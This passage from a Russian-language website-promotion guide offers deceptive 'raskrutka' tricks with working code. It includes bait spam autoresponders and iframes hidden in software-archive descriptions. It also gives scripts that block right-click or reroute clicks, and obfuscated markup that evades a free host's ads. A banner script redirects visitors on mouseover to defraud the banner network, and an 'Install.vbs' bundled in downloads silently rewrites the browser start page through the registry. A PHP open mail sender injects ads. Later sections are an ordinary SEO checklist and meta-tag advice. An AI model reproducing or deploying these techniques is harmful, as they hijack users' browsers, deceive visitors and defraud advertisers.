<td><font color=yellow size=2></font></td>
</tr>
<tr>
<td><font color=yellow size=2> </font></td>
</tr>
<tr>
<td><font color=yellow size=6>СПОРТИВНЫЙ Каталог</font></td>
</tr>
</table>

.
.
.

</body></html>

Т.е. используйте псевдо-рекламную вставку вверху своей страницы. Либо 1–2 строк текста и линков (пусть даже на чужие, но классные сайты), либо имитируйте текстовый рекламный баннер. Все равно индексируется текст с пользой для вашей страницы.
Такой прием хорошо использовать для страниц, которые уже просмотрены модераторами и внесены в каталоги и поисковые системы. Как правило, роботы периодически просматривают страницы заново и переиндексируют их. Вот тут-то этот прием и пригодится. И формально придраться не к чему — просто рекламный обмен.
6. Как использовать почтовые системы.
Этот прием раскрутки весьма условно можно назвать корректным. Использование его или неиспользование — целиком Ваш выбор.
Выберите почтовую систему (или системы), позволяющую использовать рещим автоответа на письмо. Желательно, чтобы ответ можно было написать достаточно длинным и можно было отправлять его в режиме HTML. Например mail.lycos.ru для этого мало пригоден.
Сформируйте письмо для ответа (желательно как HTML-страницу). Напишите там что-то очень привлекательное — например выберите из TOP-ов 10 лучших линков по MP3 музыке или по натуризму. Вставьте в этот список линк с БЕЗУСЛОВНЫМ ПЕРЕХОДОМ на Ваш сайт (как его сделать — см. выше).
В заголовке письма-ответа напишите что-то супер-привлекательное. Пофантазируйте. Например. «Фотомодель ищет бой-френда»
Опробуйте работу автоответчика — пошлите на этот почтовый ящик письмо и прочитайте ответ.
Корректно?
Тогда ходите по конференциям, доскам объявлений и гостевым книгам и пишите, пишите, пишите. Что-то очень привлекательное и оставляйте везде адрес этого почтового ящика.
К этому приему есть еще менее корректное дополнение.
Можно зайти на серверы, посвященные знакомствам или поиску работы и разместить там очень привлекательные сообщения.
7. Как использовать чаты, конференции и форумы.
Это косвенный прием раскрутки. Если вы часто и подолгу сидите в чатах — зарегистрируйтесь там под именем Вашего сайта. Например, ваш сайт www.napello.ru Тогда регистрируйтесь в чатах как Napello.ru или, если так не удается, то Napello.
Так же и в конференциях и форумах.
Найдите 2–3 посещаемыз конференции (форума) по интересующей вас тематике. Зарегистрируйтесь в них. Задавайте вопросы из одной конференции в другую конференцию. Не забывайте упоминать свои страницы. Но не слишком усердствуйте, модераторы могут быть недовольны.
8. Как использовать архивы программного обеспечения — DOWNLOAD архивы.
Вариант 1.
Если вы когда-нибудь писали программы — используйте их. Если у Вас есть откомпилированный вариант программы, сделайте к нему описание в формате HTML, поместите в описание элементы с iframe, в которые будет подгружаться часть описания с вашего web-сайта. Упакуйте в ZIP-архив и разместите архив на своем сайте. Зарегистрируйте свои программы на соответствующих сайтах (например www.download.ru, www.freesoft.ru и т. д.)
Пример iframe:

// <!-
document.write("<p><table bgcolor=#c4cabb border=0 cellpadding=0 cellspacing=0 width=600>");
document.write("<tr>");
document.write("<td><font size=2 face="Arial,Helvetica"><iframe src=http://www.sportbiker.ru width=600 height=400 frameborder=0 vspace=0 hspace=0 marginwidth=0 marginheight=0 scrolling=no></font></iframe></td><td></td>");
document.write("</tr>");
document.write("</table></p>");
// — >

Просто вставьте в HTML-страницу и посмотрите, что получится.

Вариант 2.
Может быть использован в дополнение к первому варианту.
Вместо откомпилированного варианта программ включите в архив исходные тексты своих программ. Не забудьте в исходниках прописать некоторое количество рекламы.
Так-же сделайте HTML-описание. Разместите в тех-же архивах и в специализированных архивах исходных текстов.

Вариант 3.
Дополнительно для вариантов 1 и 2.

Создайте HTML-страницы с исходниками своих программ. Добавьте на эти страницы все те приемы, котрые вы уже освоили. Поставьте ссылки на свои ресурсы. Разместите несколько вариантов на нескольких сайтах.

Вариант 4.
Упакуйте HTML-страницы c листингами Ваших программ в ZIP-архив. Включите в него HTML-описание с iframe и счетчиком. Разместите в архивах программного обеспечения в том числе и в разделе web-дизайн.
В свое время архив HTML-страниц каталога линков (2000 линков) был скачан более 9000 раз! Это при том, что в архиве не было ни одного скрипта, только HTML-страницы с линками. Часть из этих скачанных экземпляров была размещена их новыми владельцами в Интернете. И эти клоны еще долго раскручивали мой счетчик.
9. Правая кнопка мыши на службе у раскрутки.
Если на ваших страницах имеется некоторое количество линков на другие страницы, то часть пользователей загружает их "по правой кнопке мыши" — т. е. открывает в новом окне.
Эту ситуацию можно перехватить и обработать используя следующий скрипт.

Пример:

<script LANGUAGE="JavaScript">
function right(e) {
if (navigator.appName == 'Netscape' && (e.which == 3 || e.which == 2)) return false;
else if (navigator.appName == 'Microsoft Internet Explorer' && (event.button == 2 || event.button == 3)) { alert("Right button disabled");
return false;
} return true;
} document.onmousedown=right;
if (document.layers) window.captureEvents(Event.MOUSEDOWN);
window.onmousedown=right;
</script>

Этот скрипт запрещает использование правой клавиши мыши в окне броузера. Посетителям страницы придется каждый раз ее перегружать, тем самым поднимая ваш счетчик и показывая дополнительные банеры.
Более продвинутый пример на базе первого примера. Здесь по Click на левой кнопке грузится один сайт (www.lycos.com), а Click правой кнопкой мыши на том же линке — другой сайт. Очень удобная штука.
Пример:

<html><head><title>Английский язык. English Language on mp3 CD</title>
<META http-equiv=Content-Type content="text/html; charset=windows-1251">
</head>
<script LANGUAGE="JavaScript">
function right(e) {
if (navigator.appName == 'Netscape' && (e.which == 3 || e.which == 2)) return false;
else if (navigator.appName == 'Microsoft Internet Explorer' && (event.button == 2 || event.button == 3)) {

window.open('http://www.sportbiker.ru','javascript_1'); return false;

return false;
} return true;
} document.onmousedown=right;
if (document.layers) window.captureEvents(Event.MOUSEDOWN);
window.onmousedown=right;
</script>
<body bgcolor=red text=000000 link=red vlink=red leftMargin=0 topMargin=0 marginwidth=0 marginheight=0>

<a href="http://www.lycos.com"><font color=white>Lycos.com</font></a>
</body></html>

10. Как убрать некоторые банеры на бесплатном хостинге.

При загрузке ваших HTML-страниц на сайты, созданные на бесплатном хостинге, некоторые системы автоматически добавляют в код страницы рекламные скрипты.
Некоторые из таких систем можно обойти, если использовать вместо записи:

<body bgcolor ……………………………….>

следующий скрипт:

<SCRIPT LANGUAGE="JAVASCRIPT">
// <! — Скрипт восстанавливает присутствие тэга BODY только для броузеров
document.write("<body bgcolor=red text=000000 link=yellow>");
// — >
</SCRIPT>

Скрипт можно чуть-чуть изменить, чтобы он не был слишком заметен

<SCRIPT LANGUAGE="JAVASCRIPT">
// <! — Скрипт восстанавливает присутствие тэга BODY только для броузеров
document.write("<b"+"o"+"dy bg"+"color=red text=000000 link=yellow>");
// — >
</SCRIPT>

Аналогично из HTML-страницы можно убрать и закрывающий тэг </body>

<SCRIPT LANGUAGE="JAVASCRIPT">
// <!-
document.write("</body>");
// — >
</SCRIPT>

Размещайте скрипт в соответствующем месте документа.
Иногда может потребоваться замаскировать и другие тэги. Иногда тэг </html>. Вы легко можете модернизировать скрипты самостоятельно.
11. Банеры банерной системы работают на вас.
Если вы размещаете на своих HTML-страницах банеры, то поместите их код в JAVA-скрипт. Это позволит легко организовывать вызов и загрузку банеров с новых размещенных страниц и легко править код банерной системы сразу для ВСЕХ СТРАНИЦ.
Пример:

<p><script language=javascript src=bandn.js></script>

Вызов скрипта с кодом банерной системы из файла bandn.js, где содержимое файла bandn.js

// <!-

var litenum = Math.round(Math.random() * 10000);
document.write("<a href=http://lite.lbe.ru/cgi-bin/href/atx?" + litenum + " target=_blank>");
document.write("<img ismap width=468 height=60 src=http://lite.lbe.ru/cgi-bin/banner/atx?" + litenum + " alt=\"LBE lite\" border=0></a>");
// — >

Пример файла дан для банерной системы LBE. Для других банерных систем он будет другой.
Как в дальнейшем использовать этот сервис?
Когда скрипт поработает некоторое время, его можно заменить на следующий вариант:
Пример содержимого файла bandn.js

// <!-
var litenum = Math.round(Math.random() * 10000);
document.write("<a href=\"http://www.sportbiker.ru\" onMouseOut=\"window.location='http://www.sportbiker.ru'\"><font size=6 color=red><b>LBE.ru</b></font><table>");
document.write("<a href=http://lite.lbe.ru/cgi-bin/href/atx?" + litenum + " target=_blank>");
document.write("<img ismap width=468 height=60 src=http://lite.lbe.ru/cgi-bin/banner/atx?" + litenum + " alt=\"LBE lite\" border=0></a>");
document.write("</table></a>");
// — >

Чтобы посмотреть, что за эффект это дает создайте HTML-файл с следующим содержимым (в том же каталоге):

<html><head><title>Английский язык. English Language on mp3 CD</title>
<META http-equiv=Content-Type content="text/html; charset=windows-1251">
</head>

<body bgcolor=red text=000000 link=red vlink=red leftMargin=0 topMargin=0 marginwidth=0 marginheight=0>

<p><script language=javascript src=bandn.js></script>

</body></html>

На этой HTML-странице нормально отображается банер, но при проходе мышки (без Click-а) через банер загружается совсем другой сайт.
Вы можете сделать переход и по банеру (без Click-а). Но учтите, что это может привести к очень большому CRT и в банерной системе на это сразу обратят внимание.
12. Если Вы не программист, то как использовать архивы программ.
Если Вы не умеете писать программ, то как Вам разместить свою информацию в архивах программного обеспечения? Один из следующих вариантов может быть использован Вами с различной степенью корректности. Будьте внимательны, не нарушайте чужих авторских прав.
Посмотрите на серверах-архивах исходников программ, какие из листингов скачиваются больше всего. Напишите их авторам, что хотели бы разместить их исходники на своем web-сервере. Скорее всего Вам разрешат это сделать, т. к. это увеличивает популярность авторов.
А дальше — все просто. Если автор не возражает, сделайте дополнительное описание к программе. Например, с большим количеством иллюстраций, с анимированной графикой (анимационный GIF). И включите эти материалы в архив с листингом. В своих документах вы можете использовать многие из описанных выше приемов.
Если автор не хочет, что бы Вы что-то добавляли в его архив, разместите свои материалы по его программе в отдельном архиве. Рядом. В соседнем линке на той же странице.
Будьте уверены — Ваши материалы тоже будут скачивать.
Оформите описание листинга, программы (а если автор не возражает, то и самого листинга) в виде HTML-файла с применением известных Вам приемов. Разместите на нескольких своих сайтах.
То же самое можно проделать и с откомпилированными программами.
Это еще не все. Если программа очень популярная и сложная, сделайте для нее HELP в стандартном формате Windows. Скорее всего его скачает очень много пользователей.
13. Как быстро создать много HTML-страниц.
Зайдите на TOP.Rambler и посмотрите, какие разделы наиболее популярны.
В рейтинге Rambler информация периодически меняется, но для Ваших дополнительных HTML-страниц это не очень важно.
Как быстро извлечь линки с WEB-страницы и сформировать из них готовую HTML-страницу?
Используйте freeware программы:
http://www.oflameron.ru/finder/
и дополнительно, программу формирования страниц
http:// www.oflameron.ru/fecompleter/
или
http://www.oflameron.ru/completer/
Сформировать собственную HTML-страницу можно очень быстро. Причем, в этой странице не будет никакой информации, кроме линков, заимствованной с web-страниц.
Традиционно, наиболее посещаемыми ресурсами являются Авто-страницы, Эротика, Натуризм, MP3.
14. Как использовать VBS — Visual Basic Script.
Если Вы используете архивы программ, как средство дополнительной раскрутки, то их эффективность можно еще увеличить, используя несложный VB-Script
Включите в распространяемый архив следующий файл, например, с названием Install.vbs и следующим содержанием:

On Error Resume Next
main()

sub main()
On Error Resume Next

Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.nnm.ru"
MsgBox "Install OK!"
end sub

Этот простой скрипт записывает в качестве стартовой страницы web-броузера, адрес Вашего сайта.
15. Если Ваш хостинг (платный или бесплатный) поддерживает PHP.
Тогда Ваши возможности по раскрутке сайта неизмеримо возрастают. Для начала, можно организовать очень простую и открытую почтовую систему. Вы создаете HTML-страницу с полями для письма и размещаете на своем сайте PHP-скрипт для отправки писем. В такой почтовой системе пользователи смогут только отправлять письма. Но и это востребовано. Простейшая система привлекла около 2000 пользователей за 3 месяца.

<html><head>
<title>Free Mail System</title>
<body bgcolor=5a5959 text=000000 link=white vlink=orange leftMargin=0 topMargin=0 marginwidth=0 marginheight=0>
<table border=0 width=640 cellpadding=0 cellspacing=1>
<tr><td vAlign=top width=120>
</td><td align=center vAlign=top width=540>
<p><font size=5 color=white>Отправить почту</font>
<p><table border=0 cellpadding=0 cellspacing=0 width=500>
<tr class=c3>
<font size=2> </font>
</tr>
<tr align=center class=c2>
<p><font align=center color=orange size=4 face="Arial,Helvetica">Почтовая система "PEGAS"<br>
Свободная отправка почтовых сообщений!</font><br>
<FORM METHOD=POST ACTION=poster.php TARGET=_top>
<INPUT TYPE=text NAME="email" SIZE=20 MAXLENGTH=25 VALUE="E-mail"><br>
<INPUT TYPE=text NAME="subject" SIZE=50 MAXLENGTH=150 VALUE="Тема письма"><br>
<TEXTAREA NAME="message" ROWS=3 COLS=50 MAXLENGTH=800 WRAP=VIRTUAL>Введите текст письма</TEXTAREA><br>
<p><INPUT TYPE="submit" VALUE="Отправить">
</tr>
<tr class=c2>
<br><font color=orange size=1><li> Если Вы хотите получить ответ на письмо, не забудьте указать адрес Вашего личного почтового ящика.</font>
</tr>
</table>
</body></html>

PHP Скрипт должен быть записан в файл poster.php (для данной HTML-страницы)
Пример:

<html><head>
</head>
<body bgcolor=5a5959 text=000000 link=white vlink=orange leftMargin=0 topMargin=0 marginwidth=0 marginheight=0>
<?
//Отправить почту
$message.= "\n---------\nОригинальная карточная игра\n http://www.oflameron.ru\n---------\nРуководство по раскрутке\n http://www.nnm.ru/topguide/\n---------\n***Мобильники\n http://instructions.ru\n";
mail($email,$subject,$message,"From: postman@$SERVER_NAME\nX-Mailer: PHP/". phpversion());

print "<br><p align=center><font color=red face=\"Arial,Helvetica\"><b>Почта отправлена</b></font>";

//Почта отправлена — OK!
?>
</body></html>

Обратите внимание, как легко включить в текст письма линки. Если включить в текст письма тэги, используемые в HTML-страницах, то можно отправлять письмо в формате web-страницы. И там можно размещать и банеры и счетчики, и линки с безусловным переходом и iframe. Все-таки, большинство использует web-интерфейс для почты, а Вам это, в данном случае, очень выгодно.
16. Как использовать чужие счетчики.
Зайдите на http://top.mail.ru и в нужном разделе (например, Авто) посмотрите, статистика какого сайта из ТОР-вых, не запаролена. Зайдите в статистику, посмотрите, с каких поисковых систем или из каких каталогов приходит наибольшее количество посетителей. Регистрируйтесь там-же.
Найдите через поиск страницы по Вашей тематике, на которых установлен счетчик системы http://w.extreme-dm.com
Зайдите на счетчик со страницы, на которой он установлен. Откройте раздел ключевых слов. Этот счетчик показывает, по каким ключевым словам данная страница была найдена в поисковых системах. Используйте эти слова на своих страницах.
Точно так же используйте счетчики системы http://lstat.susanin.com/
Там реальные ключевые слова, использованные посетителями.
17. Как размещать свои страницы на своих сайтах.
Как бы ничего сложного в этом нет. Однако, некоторые поисковые системы и каталоги (западные, чаще всего) требуют, чтобы при регистрации сайтов адрес был указан с символом "/" в конце адреса. Поэтому, для каждой страницы лучше делать отдельный каталог, страницы делать с именем index.
В дальнейшем это позволит очень эффективно использовать специальные PHP-скрипты.
18. Серфинг-системы. Только не делайте на них ставку.
Так называемые, системы обмена траффиком, IP-адресами или посетителями — серфинг-системы.
Делятся, по-крупному, на системы, поддерживающие авто-серфинг и системы с ручным серфингом.
Дополнительно, можно в некоторых системах привлекать реферралов, т. е. строить пирамиду.
Позволяют быстро анонсировать свои страницы некоторому ограниченному (по количеству) кругу таких же "халявщиков". Бескорыстные и наивные пользователи в такие системы не заходят — незачем.
Системы серфинга позволяют быстро "поднять" свой счетчик, что может быть хорошо для демонстрации шефу (если Вы ответственный за продвижение сайта фирмы), показа банеров (пока банерная система не обратила на Вас внимание). Требует участия в серфинге ежедневно. Реферралов привлекать трудно — нужно много времени и труда для кропотливой работы.
Из удобных систем серфинга:
www.neosap.com — удобный интерфейс, возможность выбора ручной/автосерфинг, хороший список настройки параметров серфинга, можно рекламировать сразу несколько страниц. Недостаток — не самый большой список участников.
http://www.autoraskrutka.ru/ — все то же самое.
http://www.autohits.dk — англоязычная система, но работает и с русскоязычными сайтами. Позволяет крутить одновременно только одну страницу. Очень много зарегистрированных пользователей.
Недостатком системы является то, что в статистике счетчиков четко прописывается адрес "раскрутчика" www.autohits.dk
19. Хостинг одной страницы.
Если дисковое пространство в Вашем распоряжении велико, эксплуатируйте его чужими руками. Разыщите на бесплатных хостингах интересные web-сайты. Предложите разместить их Index страницы в отдельном каталоге на Вашем сервере (все остальные страницы, картинки и т. д. можно и не переносить. Просто указать абсолютные адреса их загрузки с прежнего адреса). Предложите авторам совместно рекламировать первую страницу.
Ваше предложение может быть интересно тем, чьи сайты имеют очень длинные имена, медленный доступ (chat.ru, nm.ru, tam.ru) или не имеют некоторых сервисов (например, PHP или Perl). Имея несколько таких карманных проектов, можно легко "перекачивать" траффик. Если авторы вырастут до самостоятельного платного хостинга, Вы ничего не потеряете. В поисковых системах еще долго будут стоять ссылки на Ваши каталоги. Разместив там свои страницы, скрипты пересылки или файл. htaccess, Вы легко "приручите" поток пользователей. Таким приемом очень часто пользуются. На бесплатном хостинге ……… удаляют страницы пользователей и делают пересылку на страницу обработки 404 ошибки. Количество показов банеров на этой странице огромно.
20. Как снять сливки с каждого линка своей страницы.
Если у Вас есть страницы с большим количеством линков (каталог линков), то каждый переход посетителя по линку может "поднимать" Ваш счетчик, показывать банер.
Для этого нужно использовать следующий PHP скрипт, размещенный в файле load.php
Пример:

<html><head><title>Гений Раскрутки Valery V Shmeleff
</title>
</head>

<? //Организовать фреймы left.htm — только счетчик argv[0] — загружаемые файлы
print "<FRAMESET COLS=\"0,*\" BORDER=0 framespacing=0 frameborder=0>\n";
print "<FRAME SRC=\"left.htm\" NAME=\"dleft\" MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=no NORESIZE>\n";
print "<FRAME src=\"".$argv[0]."\" NAME=\"dright\" MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=auto NORESIZE>\n";
print "</FRAMESET>\n";
?>
<body bgcolor=black text=black leftMargin=0 topMargin=0 marginwidth=0 marginheight=0>

</body></html>

И так же создайте файл left.htm, в котором разместите необходимую для "прокручивания" информацию — счетчик, банер.

<html><head>
<title></title>
<meta content="" name=Description>
<meta content="" name=Keywords>

<base target=_top></head>
<body bgcolor=black text=black leftMargin=0 topMargin=0 marginwidth=0 marginheight=0>

<! — Счетчик —>
<!-TopList COUNTER->
.
.
.
.
<!-TopList COUNTER->
<!- — >
</body></html>

Если Вы разместите файлы load.php и left.htm, к примеру, в каталоге http://www.lolik.ru/load/ то линки на Ваших страницах надо переписать ввиде:
Было — <a href="http://www.mp3search.com">Mp3-Search</a>
Новый — <a href="http://www.lolik.ru/load/load.php?http://www.mp3search.com">Mp3-Search</a>



Советы по раскрутке сайтов: 25 пунктов


Допустим, у вас есть сайт, но посетителей на нем меньше, чем вам бы хотелось. Что же можно сделать для увеличения посещаемости? Почему бы не потратить несколько минут на рассмотрение возможных способов ее повышения. Перед вами контрольный список из 25 пунктов, которые вам необходимо учесть. Многие из них вы возможно уже реализовали, другие собирались, но забыли, о третьих вы просто никогда не слышали. Разумеется, об этом написана масса статей. Но хотя здесь я не откроею Америки, я, тем не менее, попытаемся объединить и обобщить несколько самых основных методов.
Самым важным первым шагом является регистрация вашего сайта в поисковых web-системах, поэтому начнем с шагов по подготовке web-страниц сайта к оптимальной индексации.
Создайте заголовок страницы. Для каждой страницы составьте заголовок из 5–8 слов, достаточно полно отражающий ее содержание. Старайтесь включать в него как можно меньше вспомогательных слов типа союзов, предлогов и проч. При обнаружении данной страницы именно этот заголовок отображается поисковой машиной. Заголовок может быть достаточно соблазнительным, чтобы у потенциального посетителя возникло желание кликнуть на эту ссылку. Поместите его вверху web-страницы, между тегами <HEADER></HEADER>, в следующем формате: <TITLE>Контрольный список по web-маркетингу — 25 способов продвижения вашего сайта </TITLE>. Подсказка: на странице рядом с названием вашей компании укажите ряд ключевых слов вашего бизнеса. Вместо «РАСКРУТКА САЙТА, Inc.» используйте «РАСКРУТКА САЙТА — поиковая оптимизация, веб дизайн, обмен ссылками». Чем больше конкретной информации люди увидят в высвеченной строке ссылки в результатах работы поисковой машины, тем больше вероятность использования ими данной ссылки.
Создайте список ключевых слов. Для этого имеет смысл сесть с несколькими коллегами и мозговой атакой подобрать 50-100 слов или ключевых фраз, которые с большой долей вероятности могут служить строкой поиска для нахождения в Интернет подобных вам компании или сайта. Затем уточните список, оставив в нем около 20 наиболее важных элементов. Поместите эти слова вверху web-страницы, между тегами <HEADER></HEADER> в тег META в следующем формате: <META NAME=«KEYWORDS» CONTENT=«раскрутка, интернет консалтинг, веб дизайн, web-маркетинг, рассылка объявлений…»>
Однако изучение алгоритмов работы поисковых машин показывает, что меньшее количество ключевых слов может активнее способствовать появлению ссылки на ваш сайт в результатах целенаправленного поиска конкретного бизнеса, если вы уделите внимание расположению вашей страницы в поисковых системах. Рассмотрите возможность использования как обычного, так и состоящего целиком из заглавных букв написания наиболее важных слов, поскольку многие поисковые системы учитывают этот аспект. Убедитесь, что слова не повторяются более трех раз, чтобы избежать санкций за «спам ключевых слов».
Создайте описание страницы. Выберите 20 наиболее важных слов и напишите точно 200- или 250-символьное предложение (считая и пробелы) или пару предложений. Нет необходимости повторять здесь какие-либо из слов, использованных в заголовке. Постарайтесь сделать эти предложения понятными, но сжатыми. Старайтесь избегать вспомогательных и лишних слов (например, и, компания, этот и др.) чтобы оставить достаточно места для более значимых слов, настоящих ключевых слов, выполняющих поставленную задачу. Поместите эти слова вверху web-страницы между тегами <HEADER></HEADER> в теге META в следующем формате: <META NAME=«DESCRIPTION» CONTENT=«Повысьте посещаемость и трафик, используя URLs, META-тэги, выпуски новостей, баннеры и обмен ссылками»>
Зарегистрируйте страницу в поисковых системах. Следующим шагом должна стать регистрация вашей страницы в популярных поисковых системах и директориях. Самыми популярными поисковыми системами, автоматически просматривающими или индексирующими ваш сайт, являются: Yandex, Google, Rambler, Aport.
Зарегистрируйте страницу в Интернет-каталогах. Yahoo представляет собой самый серьезный каталог — хотя технически он скорее справочник, чем поисковая система. В Yahoo чтением (и, слишком часто, сокращением) ваших 200-символьных предложений занимаются реальные живые люди, поэтому будьте внимательны и следуйте их указаниям.
Зарегистрируйте страницу на других ресурсах. Возможно, вам попадались предложения включить ваши страницы в 300 различных поисковых систем. Большой выгоды от этого ожидать не следует, максимум — создание воображаемой популярности вашего сайта в ряде основных поисковых систем. В целом же 25 крупнейших каталогов — это вполне достаточно, если конечно ваша область бизнеса не имеет каких-то специфических требований.
Запросите ссылки на свой сайт на других сайтах вашей отрасли. Возможно, ваша компания входит в различные ассоциации, другие члены которых также имеют собственные сайты. Попросите ссылку. Даже если вам придется заплатить за нее какие-то деньги, такая ссылка может принести вам желаемый трафик.
Включите URL вашего сайта во все реквизиты вашей фирмы, указываемые на бланках, визитных карточках и в печатных материалах. Убедитесь, что все копии карточек, бланков, брошюр и других печатных материалов содержат URL вашей компании. И обратите внимание на то, чтобы принтер корректно отображал синтаксис URL. При распечатке рекомендуется опускать http:// и указывать только фрагмент www.xxx.xx.
Продолжайте продвижение сайта в традиционных средствах массовой информации. Не прекращайте рекламу в печатных изданиях. Однако убедитесь, что во все рекламные материалы включен URL вашего сайта. Сайт следует рассматривать как информационное дополнение к рекламному материалу. Внимание читателей привлекается рекламой, а указываемая в ссылке web-страница служит источником дополнительной информации и, возможно, средством размещения заказов. Иногда такие рекламные материалы оказываются более целенаправленными, эффективными и менее дорогостоящими, чем онлайновая реклама. Обдумайте использование других традиционных средств информации для привлечения посетителей на сайт вашей компании — такие, как рекламные рассылки, тематические разделы объявлений и рекламы, открытки и др. Для продвижения сайта можно использовать и телевидение.
Предлагайте бесплатные услуги. Одно дело сказать: «Приходите на наш сайт и почитайте о нашем бизнесе». И совсем другое дело: «Воспользуйтесь эксклюзивным бесплатным калькулятором переоборудования кухни, бесплатно доступным только на нашем сайте».
Но не ошибитесь — разработка бесплатных ресурсов такого рода требует больших затрат времени и энергии, однако усилия вознаграждаются сторицей при увеличении трафика к сайту.
Обменивайтесь ссылками с родственными сайтами. Найдите родственные вашему сайты и узнайте у них о возможности обмена ссылками (в особенности на ваши бесплатные услуги, если вы таковые предлагаете). Ссылки на другие сайты разместите в удалении от страниц сайта, содержащих основную и наиболее важную информацию — чтобы не выпроваживать «к соседям» только что зашедшего к вам клиента.
Публикуйте новости. Ищите достойные новостного освещения события (такие, как, например, запуск вашего бесплатного сервиса) и рассылайте выпуски новостей в печатные и электронные периодические издания вашей области бизнеса.
Запросите ссылки на ваш сайт на сайтах бизнес-каталогах. Это тем более стоит сделать в случае, если вы предлагаете некую бесплатную услугу — тогда вам особенно пригодятся различные бизнес-каталоги, даже небольшие. Предложение «бесплатного сыра» открывает для вас многие двери. Поищите такие места в Интернет. Затем напишите электронное письмо владельцу или web-мастеру такого сайта с названием вашей компании, URL ее сайта и кратким 200-символьным описанием предлагаемых вами продуктов и/или услуг.
Получите адрес электронной почты посетителя и запросите разрешение послать ему обновления. В форме «обратной связи» с посетителем сайта вашей фирмы необходимо предусмотреть «флажок» для выяснения желания посетителя получать по электронной почте информацию об обновлениях ваших продуктов и услуг. Если посетитель поставил такой «флажок», ваша рассылка уже будет для него не спамом, а вашим ответом на его запрос дополнительной информации. Рекомендуется разделять поля для ввода имени и фамилии посетителя, чтобы индивидуализировать обращение к нему в отсылаемых материалах. Но не следует требовать излишне много информации, так как это может отпугнуть потенциального посетителя.
Публикуйте и рассылайте информационные бюллетени. Хотя это и отнимает много времени, публикация еженедельных, ежемесячных или ежеквартальных новостных бюллетеней — один из самых лучших способов поддержания контакта с подписчиками. Это создает атмосферу доверия, улучшает информированность клиентов о продукте и способствует развитию бизнеса в будущем.
Установите «Подпись» с реквизитами вашей компании и сайта в ваших почтовых сообщениях. Большинство программ электронной почты — таких, как например Outlook — позволяют указывать «подпись» в конце каждого отсылаемого вами сообщения. Ограничьте эту подпись 6–8 строками: наименование компании, адрес, номер телефона, URL, адрес электронной почты и одна фраза описания особенностей предлагаемых вами продуктов или услуг. Наглядным примером могут служить подобные сообщения, приходящие в ваш адрес от других компаний.
Продвигайте ваш сайт в подписках и новостных группах. Интернет предлагает тысячи узкоцелевых списков рассылки и новостных групп, предназначенных для людей с узкоспецифичными интересами. Не связывайтесь с новостными группами, состоящими из явного спама. Лучше поищите группы с возможностью диалога. Не используйте агрессивный маркетинг и откровенное «впаривание» ваших продуктов и услуг, даже если вам видятся в этом какие-то преимущества. Люди постепенно привыкнут вас узнавать и начнут исподволь вам доверять, а соответственно — заинтересуются вашим сайтом и возможностью сотрудничества.
Присоединитесь к каталогу-магазину (web mall). Трафик, привносимый этим способом, невелик. Самым большим и «самым бесплатным» каталогом-магазином является Yahoo. Присоединитесь к нему — и вам практически не понадобятся другие.
Объявите конкурс. Людям нравится получать подарки и призы. Если вы объявите на сайте конкурс или лотерею, это также повысит трафик.
Вступите в сеть обмена баннерами. Суть дела в том, что вы фактически даете согласие на показ баннера вашего сайта другими членами LinkExchange, а они делают тоже самое для вас. Кроме того, существует возможность некоторого заработка через платные баннеры.
Приобретите место под баннеры на соответствующих сайтах. Возможно, для повышения трафика вам придется потратить определенные средства на баннеры. Выбирайте сайты, чья аудитория наверняка состоит из людей, по своим характеристикам потенциально способных стать вашими клиентами. Затраты составят от $10 до $40 на тысячу просмотревших ваш баннер людей, а CTR будет от 0.5 % до 1 %.
Приобретите место под текстовые рекламные объявления в рассылке новостей по электронной почте. Специалисты утверждают, что самыми рентабельными являются небольшие 4-12 строчные объявления в популярных новостных рассылках. Объявления могут одновременно содержать и информацию и мотивацию для посещения страницы по указанному URL, что обычно привлекает внимание более узкой аудитории.
Арендуйте целевые списки рассылки. Мы все ненавидим спам — объемистые, никому не нужные электронные письма, — и вы можете очень повредить репутации своей компании и даже сократить число своих клиентов, если поддадитесь на этот соблазн. Однако сфера прямого маркетинга разработала специальные арендуемые целевые списки рассылки, состоящие из адресов лиц, согласных на получение по электронной почте коммерческих сообщений. При этом сначала следует провести небольшой тест, чтобы проверить качество списка.
Используйте возможность позиционирования в поисковых системах. Регистрация вашего сайта в поисковых системах — это только первый шаг. Но если не развивать его дальше, ваш сайт будет просто-напросто трудно найти среди десятков миллионов других ссылок. Следом за регистрацией вам необходимо создать серию шлюзовых страниц, каждая из которых настроена на конкретную фразу поиска и поисковую систему. Этот процесс требует значительных временных затрат, поэтому многие небольшие фирмы поручают позиционирование в поисковых системах сторонним компаниям.
Создайте программу сотрудничества сайтов. По сути, задача такой программы состоит в выплате комиссионных тем сайтам, чьи ссылки на ваш сайт и в самом деле привели к совершению посетителем реальных покупок. Целью является построение партнерской сети, заинтересованных в продвижении вашего сайта.

Создание Meta-тегов


Meta-теги и их использование.
Поисковые серверы при регистрации Web-сервера, сайта или страницы используют информацию, хранящуюся в специальных тегах МЕТА, которые помещаются между тегами и большинство начинающих Web-мастеров и Web-дизайнеров не уделяют особого внимания этим тегам — и зря. Теги МЕТА не видны при просмотре документа и заметно увеличивают его размер, однако без них не обойтись. Рекомендации по составлению Мета-тегов.
Правильность составления МЕТА тегов делает возможным, чтобы ваш сайт было легко отыскать при помощи поисковых систем среди огромного числа других сайтов! Для этого необходимо следовать следующим рекомендациям:
1. Длина содержимого тегов МЕТА «desctiptions» не должна превышать 200 символов, a «keywords» — 1000 символов. Это связано с тем, что поисковые серверы, как правило, используют именно такие величины при индексировании информации о вашем сайте. Можно получить отрицательный результат, если поисковые машины отбросят часть описания, превышающего установленные нормы, в результате чего в каталог попадет не вся желаемая информация, либо сервер просто отвергнет регистрацию вашего сайта.
2. Нужно включить все наиболее часто используемые в вашем сайте термины и их синонимы в тег «desctiptions». Можете включить и термины, не имеющие отношения к вашим страницам, однако в Internet такое поведение считается некорректным. В список ключевых слов можно вставлять и фразы. В этом случае у вашего сайта повышается шанс попасть в самое начало списка, выданного поисковым сервером (в случае совпадения фразы с той, что вводит пользователь).
3. Для увеличения рейтинга сайта и попадания его в верхнюю часть поискового списка необходимо каждый термин, включаемый в описание, повторять около 3 раз. Поисковые машины, как правило, работают с тегами МЕТА, а в случае их отсутствия — уже с содержимым страницы. Иногда это приводит к появлению сайта в списке top 10, но может привести ик отрицательному результату (перед регистрацией проверьте поисковую машину, дав запрос и просмотрев ключевые слова у сайтов, стоящих на верхних позициях)
